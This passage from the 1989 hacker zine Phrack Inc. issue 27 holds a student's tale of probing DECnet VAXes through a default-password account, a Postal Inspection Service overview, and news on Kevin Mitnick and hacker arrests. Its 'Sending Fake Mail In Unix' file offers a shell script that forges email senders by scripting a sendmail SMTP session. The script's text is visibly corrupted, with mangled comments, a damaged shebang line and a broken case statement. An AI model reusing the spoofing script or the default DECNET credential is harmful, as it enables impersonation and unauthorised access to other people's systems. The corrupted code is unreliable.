status := $idtoasc(holder.lo,name.length,name.body,ident2
,attrib,context3);
write(' ',pad(name,' ',16));
writeln('[',oct(holder.lo div 65536,3),','
,oct(holder.lo mod 65536,3),']');
end;
until (holder.lo = 0);
end
else
{ it's a UIC, so translate to [grp,user] }
begin
writeln('[',oct(ident div 65536,3),',',oct(ident mod 65536,3),']');
end;
end;
end;
end.
-----------------------
This article has been brought to you by Deep Thought of West Germany. If you
liked this article, grant me access if I once drop in your BBS!
_______________________________________________________________________________
Received: (from C483307@UMCVMB for TK0JUT1@UCLAMAIL via NJE)
(C483307-9202; 114 LINES); Tue, 27 Jun 89 15:54:16 CDT
Date: Tue, 27 Jun 89 15:54 CDT
To: TK0JUT1
From: C483307@UMCVMB
Comment: converted from NETDATA format at NIU
==Phrack Inc.==
Volume Three, Issue 27, File 7 of 12
<:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:>
<:> <:>
<:> The Making Of A Hacker <:>
<:> <:>
<:> by Framstag of West Germany <:>
<:> <:>
<:> June 2, 1989 <:>
<:> <:>
<:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:>
Prologue For None VMS Users
~~~~~~~~~~~~~~~~~~~~~~~~~~~
DECnet is the network for DEC machines, in most cases you can say VAXes.
DECnet allows you to do: - e-mail
- file transfer
- remote login
- remote command
- remote job entry
- PHONE
PHONE is an interactive communication between users and is equal to TALK
on UNIX or a "deluxe"-CHAT on VM/CMS.
BELWUE, the university network of the state Baden-Wuerttemberg in
West Germany contains (besides other networks) a DECnet with about 400 VAXes.
On every VAX there is standard-account called DECNET with pw:= DECNET, which is
not reachable via remote login. This account is provided for several
DECnet-Utilities and as a pseudo-guest-account. The DECNET-account has very
restricted privileges: You cannot edit a file or make another remote login.
The HELP-menu is equipped by the system and is similar to the MAN command
on UNIX.
More information on DECnet can be found in "Looking Around In DECnet" by
Deep Thought in this very issue of Phrack Inc.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Here, at the University of Ulm, we have an *incredibly* ignorant computer
center staff, with an even bigger lack of system-literature (besides the 80 kg
of VAX/VMS-manuals). The active may search for information by himself, which
is over the level of "run," "FORTRAN," or "logout." My good luck that I have
other accounts in the BELWUE-DECnet, where more information is offered for the
users. I am a regular student in Ulm and all my accounts are completely legal
and corresponding to the German laws. I don't call myself a "hacker," I feel
more like a "user" (...it's more a defining-problem).
In the HELP-menu in a host in Tuebingen I found the file netdcl.com and
the corresponding explanation, which sends commands to the DECNET-Account of
other VAXes and executes them there (remote command). The explanation in the
HELP-menu was idiot-proof -- therefore for me, too :-)
With the command "$ mcr ncp show known nodes" you can obtain a list of all
netwide active VAXes, as is generally known, and so I pinged all these VAXes to
look for more information for a knowledge-thirsty user. With "help", "dir" and
other similar commands I look around on those DECnet accounts, always watching
for topics related to the BELWUE-network. It's a pity, that 2/3 of all VAXes
have locked the DECNET-Account for NETDCL.COM. Their system managers are
probably afraid of unauthorized access, but I cannot imagine how there could be
such an unauthorized access, because you cannot log on this account -- no
chance for trojan horses, etc.
Some system managers called me back after I visited their VAX to chat with
me about the network and asked me if they could help me in any way. One sysop
from Stuttgart even sent me a version of NETDCL.COM for the ULTRIX operation
system.
Then, after a month, the H O R R O R came over me in shape of a the
following mail:
--- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- ---
From: TUEBINGEN::SYSTEM 31-MAY-1989 15:31:11.38
To: FRAMSTAG
CC:
Subj: don't make any crap, or you'll be kicked out!
From: ITTGPX::SYSTEM 29-MAY-1989 16:46
To: TUEBINGEN::SYSTEM
Subj: System-breaking-in 01-May-1989
To the system manager of the Computer TUEBINGEN,
On May 1st 1989 we had a System-breaking-in in our DECNET-account, which
started from your machine. By help of our accounting we ascertained your user
FRAMSTAG to have emulated an interactive log-on on our backbone-node and on
every machine of our VAX-cluster with the "trojan horse" NETDCL.COM. Give us
this user's name and address and dear up the occurrence completely. We point
out that the user is punishable. In case of repetition we would be forced to
take corresponding measures. We will check whether our system got injured. If
not, this time we will disregard any measure. Inform us via DECnet about your
investigation results -- we are attainable by the nodenumber 1084::system
Dipl.-Ing. Michael Hager
--- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- ---
My system manager threatened me with the deleting of my account, if I
would not immediately enlighten the affair. *Gulp*!
I was conscious about my innocence, but how to tell it to the others? I
explained, step by step, everything to my system manager. He then understood
after a while, but the criminal procedure still hovered over me... so, I took
quickly to my keyboard, to compose file of explanations and to send it to that
angry system manager in Stuttgart (node 1084 is an institute there). But no
way out: He had run out of disk quota and my explanation-mail sailed into the
nirwana:
--- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- ---
$ mail explanation
To: 1084::system
%MAIL-E, error sending to user SYSTEM at 1084
%MAIL-E-OPENOUT, error opening SYS$SYSROOT:[SYSMGR]MAIL$00040092594FD194.MAI;
as output
-RMS-E-CRE, ACP file create failed
-SYSTEM-F-EXDISKQUOTA, disk quota exceeded
--- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- ---
Also the attempt of a connection with the PHONE-facilty failed: In his
borderless hacker-paranoia, he cut off his PHONE... and nowhere is a list with
the REAL-addresses of the virtual DECnet-addresses available (to prevent
hacking). Now I stood there with the brand "DANGEROUS HACKER!" and I had no
chance to vindicate myself. I poured out my troubles to an acquaintance of
mine, who is a sysop in the computer-center in Freiburg. He asked other sysops
and managers thru the whole BELWUE-network until someone gave him a telephone
number after a few days -- and that was the right one!
I phoned to this Hager and told him what I had done with his
DECnet-account and also what NOT. I wanted to know which crime I had
committed. He promptly cancelled all of his reproaches, but he did not excuse
his defamous incriminations. I entreated him to inform my system manager in
Tuebingen that I have done nothing illegal and to stop him from erasing my
account. This happens already to a fellow student of mine (in this case, Hager
was also guilty). He promised me that he would officially cancel his
reproaches.
After over a week this doesn't happen (I'm allowed to use my account
further on). In return for it, I received a new mail from Hager on another
account of mine:
--- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- ---
From: 1084::HAGER 1-JUN-1989 12:51
To: 50180::STUD_11
Subj: System-breaking-in
On June 1st 1989 you have committed a system-breaking-in on at least one of our
VAXes. We were able to register this occurrence. We would be forced to take
further measure if you did not dear up the occurrence completely until June
6th.
Of course the expenses involved would be imposed on you. Hence enlightenment
must be in your own interest.
We are attainable via DECnet-mail with the address 1084::HAGER or via following
address:
Institut fuer Technische Thermodynamik und Thermische Verfahrenstechnik
Dipl.-Ing. M. Hager Tel.: 0711/685-6109
Dipl.-Ing. M. Mrzyglod Tel.: 0711/685-3398
Pfaffenwaldring 9/10-1
7000 Stuttgart-80
M. Hager
M. Mrzyglod
--- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- ---
This was the reaction of my attempt: "$ PHONE 1084::SYSTEM". I have not
answered to this mail. I AM SICK OF IT!
Framstag
(FRAMSTAG@DTUPEV5A.BITNET)
With Special Thanks For Translation Assistance To Schrulli B.
_______________________________________________________________________________
==Phrack Inc.==
Volume Three, Issue 27, File 8 of 12
<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>
<><><><> <><><><>
<><><> Sending Fake Mail In Unix <><><>
<><> <><>
<> by Dark OverLord <>
<><> <><>
<><><> May 26, 1989 <><><>
<><><><> <><><><>
<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>
Here is a shell script that can be use to send fakemail from any Unix system.
Have fun and stay out of trouble.
-Dark Overlord
-=-=-=-=-=-=-=-=-=-=-=-=-= Cut here -=-=-=-=-=-=-=-=-=-=-=-=-=
! /bin/sh
#Mfakemail - A shell script to send fakemail.
#M##M#Met up the path.
PATH=/usr/ucb:/bin:$HOME/Bin
#Marse the command line
case $ in
0)echo "USAGE: user@host [ from@somewhere ] [ mailer_host ]" >& 2
exit 1
;;
1)mailto=$1
from="person@campus"
mailerhost=localhost
;;
2)mailto=$1
from=$2
mailerhost=localhost
;;
3)mailto=$1
from=$2
mailerhost=$3
;;
*)echo "USAGE: user@host [ from@somewhere ] [ mailer_host" >& 2
exit 1
;;
esac
#Mreate a header for sendmail
cat <<E!O!F!> /tmp/cli$$
helo $mailerhost
mail from:$from<$from>
rcpt to: $mailto <$mailto>
data
From: $from
To: $mailto
Subject:
Status: RO
E!O!F!
#Mdit the mailer
vi /tmp/cli$$
#Mdd a ending for the mailer
cat <<E!O!F!>> /tmp/cli$$
.
quit
E!O!F!
#Monnect to the remote host's sendmail daemon
telnet $mailerhost smtp < /tmp/cli$$
#Mlean up time
/bin/rm -f /tmp/cli$$
_______________________________________________________________________________
==Phrack Inc.==
Volume Three, Issue 27, File 9 of 12
+======================================+
The Postal Inspection Service
(C) UNITED STATES POSTAL SERVICE (U.S. MAIL)
Brought to you by
Vendetta
May 10, 1989
+======================================+
Protecting The U.S. Mails
~~~~~~~~~~~~~~~~~~~~~~~~~
The protection of the U.S. Mail and the mail system is the responsibility of
the Postal Inspection Service. As the law enforcement and audit arm of the
U.S. Postal Service, the Inspection Service is a highly specialized,
professional organization performing investigative, law enforcement, and audit
functions essential to a stable and sound postal system.
As our country's oldest federal law enforcement agency, the Inspection Service
has jurisdiction in all criminal matters infringing on the integrity and
security of the mail, and the safety of all postal valuables, property, and
personnel.
Since the beginning of a postal system in this country, criminal and
administrative problems of the Postal Service have been interwoven. By
detecting and investigating crimes against the mail and postal revenue,
establishing safe and efficient postal systems, protecting all postal
properties, assuring that the postal system is not criminally misused to the
detriment of the public, the Inspection Service plays an integral part in
maintaining effective operations in the Postal Service.
The agency's activities make a vital contribution to the protection of the
nation's economy. Security and enforcement functions of the Inspection Service
provide assurance to American business for the safe exchange of funds and
securities through the U.S. Mail, and to postal customers of the sanctity of
the seal in transmitting correspondence and messages to all parts of the world.
Audits ensure stability to financial operations, help control costs, and
promote increased efficiency in our Postal Service.
Postal Inspectors
~~~~~~~~~~~~~~~~~
Postal Inspectors are the fact finding and investigative agents of the U.S.
Postal Service. Today nearly two-thirds of their time is spent in
investigating and solving postal related crimes. Possessing statutory power of
arrest, they apprehend violators of the law and work closely with U.S.
Attorneys in prosecuting cases in court. Their work also includes crime
prevention, the audit of postal operations, investigation of accidents and a
wide variety of other service and audit matters.
The work of a Postal Inspector requires total dedication and a willingness to
work long hours. Investigations of postal crimes which often entail interstate
or international coordination, and the responsibility to restore mail service
following catastrophes such as floods, fire, and airplane wrecks, are
time-consuming and can be hazardous.
There are approximately 1,900 Postal Inspectors stationed in the United States
and Puerto Rico. All trainees undergo an eleven-week basic training course
involving use of firearms, defensive tactics, legal matters, search and
seizure, arrest techniques, court procedures, postal operations, audit
functions, and a detailed study of the federal laws in which the Inspection
Service has jurisdiction. Classes are conducted at the Inspection Service
training center in Potomac, Maryland.
Refresher courses keep Inspectors informed of current court decisions, laws,
and legal procedures. Additional specialized courses are continually held to
equip the Service with expertly trained personnel.
All applicants for the position of Postal Inspector must successfully complete
the following steps; entry examination; a comprehensive background
investigation including ma medical examination; the candidate assessment center
review; and all phases of the basic training course.
Inspection Service Activity
~~~~~~~~~~~~~~~~~~~~~~~~~~~
Criminal investigations and postal crime prevention represent
the greatest portion of Inspection Service activity.
Postal Inspectors investigate violations of all postal laws and other related
criminal violations. Crimes within the purview of postal investigations
include mail fraud, the illegal transmission of controlled substances through
the U.S. Mail, the mailing of child pornography, thefts of mails or postal
valuables, assaults on postal employees, bombs sent through the mails or
directed against postal properties, and the mailing of matter containing
poison, unauthorized concealable firearms, and harmful or prohibited articles.
Five crime laboratories located throughout the country assist Inspectors in
analyzing evidentiary material needed for identifying and tracing criminal
suspects and in providing expert testimony for cases brought to trial.
The objectives of postal crime prevention are to anticipate, identify, and
analyze those areas of greatest crime risk potentially affecting employees,
funds, property, and postal customers. Postal Inspectors then take action to
remove or reduce that risk and maintain the integrity of the Postal Service.
"The Postal Inspection Service is responsible
for the internal audit of the Postal Service."
Postal Inspectors provide management with independent audits and investigations
of all postal activities as a part of the Postal Service's internal control
system.
Audits of installations and systems protect the assets of the Service, improve
its financial management system, assist in the resolution of customer
complaints, investigate matters of Congressional interests, and identify
specific improvements for better customer service and more economical
operations.
Financial audits provide an independent check on the adequacy and effectiveness
of control systems; verify the existence of assets and ensure the proper
safeguards are maintained. Operations audits are conducted to assist postal
management in the operation of an efficient, and reliable Postal Service.
Security Force
~~~~~~~~~~~~~~
Postal Police Officers provide protection to mail, postal valuables, postal
employees, facilities, and vehicles of the Postal Service. As part of the law
enforcement team, they assist Postal Inspectors in the enforcement of certain
postal laws and regulations on postal premises and provide mobile response
unites in emergency situations involving the Postal Service.
Equipped with portable radios and alerted by closed circuit television they
provide perimeter security to major postal facilities and other buildings
operated by the Postal Service. Their presence in postal installations
throughout the country is a deterrent to postal crimes and an aid to employee
morale.
Postal Police Officers also are used to escort high value mail while in transit
between postal units and at airports.
Experience in military or civil law enforcement, industrial security, or
similar occupations is an asset for positions in the Security Force. All
appointees undergo a four-week training course conducted at the Inspection
Service's training center.
Coordination With Other Agencies
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The Inspection Service extends full cooperation to all local and federal
investigative and prosecutive authorities in law enforcement matters to ensure
greater protection to the public. Postal Inspectors participate in the
Department of Justice national strike force teams aimed at curtailing
widespread criminal acts of an organized nature. Postal Inspectors also work
closely with the External Auditors in providing support to the certification of
the Postal Service's financial statements.
Conviction Rate
~~~~~~~~~~~~~~~
The Inspection Service maintains a consistently high conviction rate each year
of approximately 98% of cases brought to trial, a rate not exceeded by any
other federal law enforcement agency.
Jurisdiction, Postal Laws, and Protection
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The Inspection Service exercises investigative jurisdiction over approximately
85 postal-related statues. These can be grouped in two categories: Criminal
acts against the mails, postal facilities, or postal personnel; and criminal
misuse of the postal system.
MAIL FRAUD
All criminal activity involving use of the U.S. Mail with intent to defraud
comes under the jurisdiction of the Postal Inspection Service. The Mail Fraud
Law is the oldest consumer protection law in the United States and is one of
the most effective prosecutive tool in fighting white collar and organized
crime. Millions of dollars are lost each year through mail fraud which cheats
not only the poor and the elderly, but businessmen and the consumer as well.
Prevalent schemes include insurance, banking, false billings; land and
advance-fee selling swindles; franchise schemes; work-at-home and fraudulent
diploma schemes; charity schemes; promotions of fake health cures, beauty
devices, fast-working diets, and sex stimulants; chain letters, lotteries, and
solicitations for the sale of advertising specialty items.
While Postal Inspectors have no statutory authority to act as intermediaries in
the settlement of unsatisfactory financial or property transactions conducted
through the mails, their investigations frequently result in the discontinuance
of fraudulent or borderline operations. Administrative mail-stop orders may be
issued to prevent continuing public loss while sufficient evidence is being
developed for criminal prosecutive action in the courts, or in cases where
false representations, but not necessarily fraudulent intent, can be proven.
The Inspection Service has a leading role in consumer protection through the
implementation of educational programs designed to prevent mail fraud schemes
from developing, and through its efforts to resolve complaints relating to
consumer/vendor misunderstandings or poor business practices.
ORGANIZED CRIME
Investigations by Postal Inspectors in organized crime matters most frequently
relate to cases involving theft and fencing of large amounts of stamp stock and
securities by organized post office burglary rings; insurance and investment
frauds; and planned bankruptcies and schemes aimed at looting company assets.
The Organized Crime Control Act of 1970 specifically includes violation of the
Mail Fraud Statue as "racketeering activity." Postal Inspectors are assigned
to the Justice Department Organized Crime Strike Forces which operate at various
points throughout the country.
MAIL THEFT/BURGLARY/ROBBERY
Investigation of mail theft offenses are a large part of the Inspection
Service's responsibilities and most commonly involve stolen checks, food
coupons, or other negotiable securities. Primary attention is directed at
major gangs, sophisticated fencing operations, large scale thefts, and the
implementation of preventive programs.
Burglaries of post offices range from vandalism to high level burglary rings
and fencing operations involving organized crime activity.
Armed robberies endanger the lives of postal employees and the public and,
therefore, are priority investigations. The targets of these crimes usually
are postal facilities, vehicles transporting mail, and individual employees,
primarily letter carriers.
DRUGS
Illegal trafficking in drugs, narcotics, and other controlled substances
through the mail is investigated in conjunction with other federal and state
law enforcement agencies.
PORNOGRAPHY
The Inspection Service investigates violations of the Postal Obscenity Statue
enacted in 1865 which prohibits the sending of obscene materials through the
U.S. Mail. This includes the investigation of child pornography offenses
involving the sexual abuse of exploitation of children based on laws passed in
1977 and 1984.
BOMBS
Investigations of incidents of threats involving bombs and incendiary devices
sent through the mails or directed at postal properties or functions are within
the jurisdiction of the Inspection Service.
EXTORTION
The Inspection Service has investigative responsibility in incidents involving
use of the mails to extort money or property by threat of injury to person's
reputation or by accusing a person of a crime.
OTHER PROHIBITED MAILINGS
The mailing of poisons or other harmful matter prohibited by law is
investigated by Postal Inspectors.
Assistance From The Public
~~~~~~~~~~~~~~~~~~~~~~~~~~
In most cases, the Inspection Service must rely on the watchfulness and
alertness of mail recipients to inform them of possible criminal or harmful
activity involving the use of the mails. Any suspected violations of postal
laws or misuse of the mails should be reported to the local Postmaster for
referral to a Postal Inspector. Prompt action on the part of postal customers
and Postal Inspectors is essential in the interest of crime prevention and
detection.
_______________________________________________________________________________
==Phrack Inc.==
Volume Three, Issue 27, File 10 of 12
PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN
PWN PWN
PWN P h r a c k W o r l d N e w s PWN
PWN ~~~~~~~~~~~ ~~~~~~~~~ ~~~~~~~ PWN
PWN Issue XXVII/Part 1 PWN
PWN PWN
PWN June 20, 1989 PWN
PWN PWN
PWN Created, Written, and Edited PWN
PWN by Knight Lightning PWN
PWN PWN
PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN
Welcome to Issue XXVII of Phrack World News!
This issue features articles on SouthernNet's hacker scam, the Florida
probation sex incident, bulletin boards in Argentina, fax attacks, computer
security, other hacking occurrences, as well as more articles and new
information about Kevin David Mitnick (aka Condor), Robert Tappan Morris, Karl
Koch (Hagbard Celine, one of Clifford Stoll's "Wily Hackers"), TRW and Social
Security Administration, the National Crime Information (NCIC) "Super
Database," and many other fun stories.
Because of our temporary exile from Bitnet, this will be the last regular issue
of Phrack World News until next Fall. Next issue expect to see the full
write-up on the details and fun events of SummerCon '89. It is only two days
away as of this writing (it kinda begins on Thursday evening for some of us)
and it looks to be the best SummerCon ever!
A very special thanks goes to Delta Master, Hatchet Molly, and The Mad Hacker
who all assisted with this issue's PWN by submitting articles. Hatchet Molly
will be serving as a collection agent for Phrack Inc. during the summer. Be
sure to forward any news articles to him that seem relevant to PWN and he will
get them to me (eventually). He can be reached on the wide area networks at;
(Hatchet Molly)
TK0GRM2@NIU.BITNET
TK0GRM2%NIU.BITNET@CUNYVM.CUNY.EDU
One other thing to mention here is a special hello to one of our government
readers... Peter Edmond Yee of NASA's Ames Research Center. He had recently
remarked that he "had access to Phrack!" I wonder if he thought that Phrack
Inc. was top secret or hard to get? Still if he wanted it that badly, Taran
King and I thought, "Why not make it easier on him and just send it to his
network address?" We did :-)))
:Knight Lightning
"The Real Future Is Behind You... And It's Only The Beginning!"
_______________________________________________________________________________
Mitnick Plea Bargain Rejected By Judge As Too Lenient April 25, 1989
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Excerpts from Kim Murphy (Los Angeles Times)
"Mr. Mitnick, you have been engaging in this conduct
for too long, and no one has actually punished you.
This is the last time you are going to do this."
Reportedly U.S. District Judge Mariana Pfaelzer unexpectedly rejected the plea
bargain of Kevin Mitnick, the hacker once called "as dangerous with a keyboard
as a bank robber with a gun." Pfaelzer declared that Mitnick deserves more
time behind bars.
As reported in recent issues of Phrack World News, "Mitnick pleaded guilty to
one count of computer fraud and one count of possessing unauthorized
long-distance telephone codes... Mitnick faces one year in prison. Under a
plea agreement with the government, he must also submit to three years'
supervision by probation officers after his release from prison."
On April 24, 1989 Judge Pfaelzer said, "Mr. Mitnick, you have been engaging in
this conduct for too long, and no one has actually punished you. This is the
last time you are going to do this." She said a confidential pre-sentence
report recommended that she exceed even the 18-month maximum prison term called
for under mandatory new federal sentencing guidelines. The judge's action
voids Mitnick's guilty plea.
Both prosecuting and defense attorneys were surprised. Mitnick's attorney said
he did not know whether his client would agree to a guilty plea carrying a
longer prison term. This could make it harder to bring charges against
Mitnick's alleged associates. If Mitnick is brought to trial, testimony from
at least one of his associates would be required to convict him, and they would
not appear as witnesses without receiving immunity from prosecution.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Computer Hacker Working On Another Plea Bargain May 6, 1989
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Excerpts from the Los Angeles Herald Examiner
Attorneys said yesterday they are negotiating a second plea bargain for
computer hacker Kevin Mitnick, whose first offer to plead guilty was scuttled
by a judge because it called for too little time in prison.
Mitnick, 25, of Panorama City, California offered in March to serve one year in
prison and to plead guilty to computer fraud and possessing unauthorized
long-distance telephone codes.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Mitnick Update May 10, 1989
~~~~~~~~~~~~~~
Excerpts taken from the Los Angeles Times
When last we heard about Kevin Mitnick, the hacker once called "as dangerous
with a keyboard as a bank robber with a gun," the judge, Judge Mariana
Pfaelzer, had rejected a plea bargain as too lenient, saying Mitnick deserved
more than the agreed one year of jail time [see above articles].
According to more recent information, Mitnick has now reached a new agreement,
with no agreed-upon prison sentence. He pleaded guilty to stealing a DEC
security program and illegal possession of 16 long-distance telephone codes
belonging to MCI Telecommunications Corp. The two charges carry a maximum of
15 years and a $500,000 fine. The government agreed to lift telephone
restrictions placed on Mitnick since he was jailed in December, 1988.
At DEC's request, Mitnick will help the firm identify and fix holes in its
security software to protect itself from other hackers. He will also cooperate
in the government's probe of Leonard DiCicco, a fellow hacker. (DiCicco is the
"friend" who turned Mitnick in.)
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Kenneth Siani Speaks Out About Kevin Mitnick May 23, 1989
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Kevin Mitnick, the hacker "so dangerous that he can't even be allowed to use a
phone." "He could ruin your life with his keyboard." "Armed with a keyboard
and considered dangerous."
These are some of the things that have been said about this person. All of
this media hype would be fine if it just sold newspapers. But it has done much
more then just sell a few papers. It has influenced those that will ultimately
decide his fate. I myself do not know the man, but I have talked to others
that do. Including one of the persons that investigated Mitnick. From all I
have heard about him, I think he is a slime ball! But even a slime ball should
not be railroaded into a prison sentence that others of equal or greater guilt
have avoided.
I personally feel the man is just a criminal, like the guy that robs a 7/11, no
better but certainly not any worse. Unfortunately he is thought of as some
kind of a "SUPER HACKER." The head of Los Angeles Police Dept's Computer Crime
Unit is quoted as saying, "Mitnick is several levels above what you would
characterize as a computer hacker."
No disrespect intended, but a statement like this from the head of a computer
crime unit indicates his ignorance on the ability of hackers and phone phreaks.
Sure he did things like access and perhaps even altered Police Department
criminal records, credit records at TRW Corp, and Pacific Telephone,
disconnecting phones of people he didn't like etc. But what is not understood
by most people outside of the hack/phreak world is that these things are VERY
EASY TO DO AND ARE DONE ALL THE TIME. In the hack/phreak community such
manipulation of computer and phone systems is all to easy. I see nothing
special about his ability to do this. The only thing special about Kevin
Mitnick is that he is not a "novice" hacker like most of the thirteen year old
kids that get busted for hacking/phreaking. It has been a number of years
since an "advanced" hacker has been arrested. Not since the days of the Inner
Circle gang have law enforcement authorities had to deal with a hacker working
at this level of ability. As a general rule, advanced hackers do not get
caught because of there activity but rather it is almost always others that
turn them in. It is therefore easy to understand why his abilities are
perceived as being extraordinary when in fact they are not.
Because of all the media hype this case has received I'm afraid that:
1.) He will not be treated fairly. He will be judged as a much greater threat
to society then others that have committed similar crimes.
2.) He will become some kind of folk hero. A Jesse James with a keyboard.
This will only cause other to follow in his footsteps.
I'm not defending him or the things he has done in any sense. All I'm saying
is let's be fair. Judge the man by the facts, not the headlines.
Disclaimer: The views expressed here are my own.
Kenneth Siani, Sr. Security Specialist, Information Systems Div., NYMA Inc.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
If you are looking for other articles about Kevin David Mitnick aka Condor
please refer to;
"Pacific Bell Means Business" (10/06/88) PWN XXI. . .Part 1
"Dangerous Hacker Is Captured" (No Date ) PWN XXII . .Part 1
"Ex-Computer Whiz Kid Held On New Fraud Counts" (12/16/88) PWN XXII . .Part 1
"Dangerous Keyboard Artist" (12/20/88) PWN XXII . .Part 1
"Armed With A Keyboard And Considered Dangerous"(12/28/88) PWN XXIII. .Part 1
"Dark Side Hacker Seen As Electronic Terrorist" (01/08/89) PWN XXIII. .Part 1
"Mitnick Plea Bargains" (03/16/89) PWN XXV. . .Part 1
_______________________________________________________________________________
Computer Intrusion Network in Detroit May 25, 1989
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Taken from the San Jose Mercury News (Knight-Ridder News Service)
DETROIT -- Secret Service agents smashed what they described as a costly,
sophisticated computer intrusion network on Wednesday, May 24, and were
surprised to discover it made up largely of teen-agers.
The computer systems of more than 20 companies including the Michigan
Department of Treasury, Home Box Office cable television services, [and RCA]
were infiltrated, according to agents serving search warrants across the
country.
Federal officials said the infiltrations by the network represented fraud of
$200,000 to $1.5 million in appropriated goods, telephone and computer time.
Agents expected to arrest some adults when they swept down on eight people who
allegedly ran the network in several states. Instead, they found only one
adult, in Chicago. The rest were teen-agers as young as 14: Two in Columbus,
Ohio; two in Boston, Massachusetts; two in Sterling Heights, Michigan [The
Outsider and The Untouchable]; and one in Atlanta, Georgia. Agents expected to
make another arrest in Los Angeles.
Officials said at least 55 other people nationwide made use of the network's
information.
In Sterling Heights, Secret Service agents pulled two eighth-grader boys, both
14, out of school and questioned them in the presence of their parents, who
apparently were unaware of their activities. James Huse, special agent in
charge of the U.S. Secret Service office in Detroit, said the youths admitted
involvement in the scheme.
He said the eight-graders, because they are juveniles, cannot be charged under
federal law and will be dealt with by local juvenile authorities.
Authorities believe the mastermind is Lynn Doucett, 35, of Chicago. She was
arrested Wednesday, May 24, and is cooperating with authorities, Huse said.
Doucett, who was convicted in Canada of telecommunications fraud, supports
herself and two children through her computer intrusion activities, which
include using stolen or counterfeit credit cards for cash advances or money
orders, according to an affidavit filed in U.S. District Court.
If convicted, she faces up to 10 years in prison and a $250,000 fine.
Special Thanks to Jedi For Additional Information
_______________________________________________________________________________
HR 1504 -- Beeper Abuse Prevention Act May 22, 1989
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
"Pagers Don't Commit Crimes, Congressmen Do."
The fools in congress assembled are at it again. Three years in jail for
selling a pager to a minor? If you didn't believe when Abbie Hoffman said that
the drug hysteria was just an excuse for more control of the citizens, think
again.
In USA Today was a "face-off" on the issues. According to this article,
Representative Kweisi Mfume (D-Md) says the following:
"The drug business is using the latest technology to promote its
deadly trade. One such advance, the paging device, or beeper, is
now appearing in classrooms and schoolyards. I have introduced the
Beeper Abuse Prevention Act to curtail the use of beepers by young
people who deal drugs. It would require the Federal Communications
Commission to prescribe regulations that would restrict the
possession and use of paging devices by persons under age 21.
Law officers say dealers and suppliers send coded messages via
beeper to youths in school. The codes translate into messages like
"meet me at our regular place after class to pick up the drugs."
Drug traffickers are even using 800 numbers now available with
regional paging services. A supplier could actually conduct a
transaction in Baltimore from Miami, for example.
My bill, H.R. 1504, would require any person selling or renting
paging devices to verify the identification and age of every
customer; encourage parents and businesses to take more
responsibility in their children's or employees' activities; make
it unlawful for a person to knowingly and willfully rent, sell or
use paging devices in violation of rules prescrived by the FCC
(there are provisions for stiff fines and up to three-year prison
terms for adults who illegally provide beepers to youths); and
require parents or businesses who allow the use of beepers to state
that intention with and affidavit at the time of purchase."
He goes on to say that he recognizes that there are legitimate uses of beepers,
but we can no longer stand by and watch drugs flow into our neighborhoods. The
opposite side is taken by Lynn Scarlett, from Santa Monica, CA. She asks what
beepers have to do with the drug trade, and regulating their use will not put a
dent it it. She also says that there is little evidence that gun control keeps
guns out of the hands of gangsters, and it will take a good dose of wizardry to
keep beepers away from bad guys. She finishes with:
"The logic of the Beeper Abuse Prevention Act opens the door for
laws to make us sign promises that we won't, we swear, use these
things for illicit acts when we buy them. De Tocqueville, that
eminent observer of our nation, warned that our loss of freedom
would sneak in through passage of quiet, seemingly innocuous and
well-intended laws -- laws like H.R. 1504.
_______________________________________________________________________________
Computer Threat Research Association (UK) March 31, 1989
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
For those of you interested an umbrella organization has been established in
the United Kingdom to coordinate information on, and research into, all aspects
of computer security. In the first instance one of the organization's primary
concerns will be combatting the threat posed by computer viruses by acting as a
clearing house for virus information and control software.
Below is a copy of an initial letter mailed to prospective members:
The Computer Threat Research Association
The computer threat research association, CoTra is a non-profit making
organization that exists to research, analyze, publicize and find solutions
for threats to the integrity and reliability of computer systems.
The issue that caused the formation of CoTra was the rise of the computer
virus. This problem has since become surrounded by fear, uncertainty and
doubt. To the average user, the computer virus and its implications are a
worry of an unknown scale. To a few unfortunates whose systems have become
victims, it is a critical issue.
The key advantage of CoTra membership will be access to advice and information.
Advice will be provided through publications, an electronic conference (a
closed conference for CoTra's members has been created on the Compulink CIX
system) as well as other channels such as general postings direct to members
when a new virus is discovered.
CoTra membership will be available on a student, full or corporate member
basis. All software that is held by CoTra that enhances system reliability,
such as virus detection and removal software, will be available to all members.
It is intended to establish discounts with suppliers of reliability tools and
services. A library of virus sources and executables and other dangerous
research material will be made available to members who have a demonstrable
need.
A register of consultants who have specific skills in the systems reliability
field will be published by CoTra and reviews of reliability enhancing software
will be produced.
Your support of CoTra will ensure that you have the earliest and most accurate
information about potential threats to your computer systems.
CoTra, The Computer Threat Research Association,
c/o 144 Sheerstock, Haddenham, Bucks. HP17 8EX
_______________________________________________________________________________
Strange Customs Service Clock Department May 1, 1989
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
